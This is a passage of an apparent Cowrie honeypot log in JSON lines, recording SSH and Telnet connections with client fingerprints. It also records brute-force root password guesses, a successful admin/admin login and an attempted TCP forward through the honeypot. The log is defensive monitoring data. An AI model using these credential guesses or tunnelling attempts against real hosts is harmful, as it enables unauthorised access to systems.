-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:13:31.792454Z","src_ip":"213.209.159.158","session":"ff625093b710","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"sexygirl","message":"login attempt [root/sexygirl] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:13:41.995240Z","src_ip":"213.209.159.158","session":"ff625093b710","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"15.8","message":"Connection lost after 15.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:13:45.331836Z","src_ip":"213.209.159.158","session":"ff625093b710","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.158","src_port":6582,"dst_ip":"10.17.0.5","dst_port":22,"session":"034a0479744e","protocol":"ssh","message":"New connection: 213.209.159.158:6582 (10.17.0.5:22) [session: 034a0479744e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:13:45.435106Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:13:48.008803Z","src_ip":"213.209.159.158","session":"034a0479744e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:13:48.012610Z","src_ip":"213.209.159.158","session":"034a0479744e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"shaker","message":"login attempt [root/shaker] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:13:57.766670Z","src_ip":"213.209.159.158","session":"034a0479744e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"16.0","message":"Connection lost after 16.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:14:01.424359Z","src_ip":"213.209.159.158","session":"034a0479744e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.158","src_port":52940,"dst_ip":"10.17.0.5","dst_port":22,"session":"082aae61f6c0","protocol":"ssh","message":"New connection: 213.209.159.158:52940 (10.17.0.5:22) [session: 082aae61f6c0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:14:01.502328Z"}
{"eventid":"cowrie.session.connect","src_ip":"76.171.84.2","src_port":58368,"dst_ip":"159.203.135.109","dst_port":23,"session":"d7acdf8f9a6c","protocol":"telnet","message":"New connection: 76.171.84.2:58368 (159.203.135.109:23) [session: d7acdf8f9a6c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:14:03.232326Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:14:03.788584Z","src_ip":"213.209.159.158","session":"082aae61f6c0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:14:03.791818Z","src_ip":"213.209.159.158","session":"082aae61f6c0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":3.8817319869995117,"message":"Connection lost after 3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:14:07.113853Z","src_ip":"76.171.84.2","session":"d7acdf8f9a6c","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"shaney14","message":"login attempt [root/shaney14] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:14:13.482454Z","src_ip":"213.209.159.158","session":"082aae61f6c0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"15.5","message":"Connection lost after 15.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:14:17.027544Z","src_ip":"213.209.159.158","session":"082aae61f6c0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.158","src_port":20682,"dst_ip":"10.17.0.5","dst_port":22,"session":"92d874af8ac9","protocol":"ssh","message":"New connection: 213.209.159.158:20682 (10.17.0.5:22) [session: 92d874af8ac9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:14:17.111590Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:14:19.274396Z","src_ip":"213.209.159.158","session":"92d874af8ac9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:14:19.278361Z","src_ip":"213.209.159.158","session":"92d874af8ac9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Softball","message":"login attempt [root/Softball] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:14:29.452338Z","src_ip":"213.209.159.158","session":"92d874af8ac9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.24.211.100","src_port":7963,"dst_ip":"159.203.135.109","dst_port":22,"session":"199cf9d65062","protocol":"ssh","message":"New connection: 193.24.211.100:7963 (159.203.135.109:22) [session: 199cf9d65062]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:14:30.124053Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:14:30.414648Z","src_ip":"193.24.211.100","session":"199cf9d65062","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:14:30.418920Z","src_ip":"193.24.211.100","session":"199cf9d65062","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":28566,"dst_ip":"10.17.0.5","dst_port":22,"session":"1d27e231a4a7","protocol":"ssh","message":"New connection: 87.251.64.176:28566 (10.17.0.5:22) [session: 1d27e231a4a7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:14:30.541541Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:14:30.546560Z","src_ip":"87.251.64.176","session":"1d27e231a4a7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:14:30.643559Z","src_ip":"87.251.64.176","session":"1d27e231a4a7","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:14:30.936069Z","src_ip":"87.251.64.176","session":"1d27e231a4a7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"ethernet","message":"login attempt [root/ethernet] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:14:30.942801Z","src_ip":"193.24.211.100","session":"199cf9d65062","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:14:31.054684Z","session":"1d27e231a4a7","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:14:31.156893Z","src_ip":"87.251.64.176","session":"1d27e231a4a7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:14:31.256029Z","src_ip":"87.251.64.176","session":"1d27e231a4a7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:14:32.067248Z","src_ip":"193.24.211.100","session":"199cf9d65062","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"15.6","message":"Connection lost after 15.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:14:32.766098Z","src_ip":"213.209.159.158","session":"92d874af8ac9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.158","src_port":62356,"dst_ip":"10.17.0.5","dst_port":22,"session":"340197d8d0bf","protocol":"ssh","message":"New connection: 213.209.159.158:62356 (10.17.0.5:22) [session: 340197d8d0bf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:14:32.887643Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:14:35.433285Z","src_ip":"213.209.159.158","session":"340197d8d0bf","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:14:35.437105Z","src_ip":"213.209.159.158","session":"340197d8d0bf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"shado","message":"login attempt [root/shado] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:14:45.212603Z","src_ip":"213.209.159.158","session":"340197d8d0bf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"15.6","message":"Connection lost after 15.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:14:48.523734Z","src_ip":"213.209.159.158","session":"340197d8d0bf","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.158","src_port":30326,"dst_ip":"10.17.0.5","dst_port":22,"session":"522298ed971e","protocol":"ssh","message":"New connection: 213.209.159.158:30326 (10.17.0.5:22) [session: 522298ed971e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:14:48.606791Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:14:51.306579Z","src_ip":"213.209.159.158","session":"522298ed971e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:14:51.310820Z","src_ip":"213.209.159.158","session":"522298ed971e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"79.127.181.103","src_port":26571,"dst_ip":"159.203.135.109","dst_port":22,"session":"ba9281dd6c0d","protocol":"ssh","message":"New connection: 79.127.181.103:26571 (159.203.135.109:22) [session: ba9281dd6c0d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:14:58.369364Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Granados-1.0","message":"Remote SSH version: SSH-2.0-Granados-1.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:14:58.569173Z","src_ip":"79.127.181.103","session":"ba9281dd6c0d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"195e6691752c6042df663c15d2f68972","hasshAlgorithms":"diffie-hellman-group1-sha1;aes128-cbc,blowfish-cbc,3des-cbc;hmac-sha1;none","kexAlgs":["diffie-hellman-group1-sha1"],"keyAlgs":["ssh-dss","ssh-rsa"],"encCS":["aes128-cbc","blowfish-cbc","3des-cbc"],"macCS":["hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 195e6691752c6042df663c15d2f68972","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:14:58.764577Z","src_ip":"79.127.181.103","session":"ba9281dd6c0d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.4","message":"Connection lost after 0.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:14:58.769884Z","src_ip":"79.127.181.103","session":"ba9281dd6c0d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Si.123345","message":"login attempt [root/Si.123345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:15:01.129380Z","src_ip":"213.209.159.158","session":"522298ed971e","protocol":"ssh"}
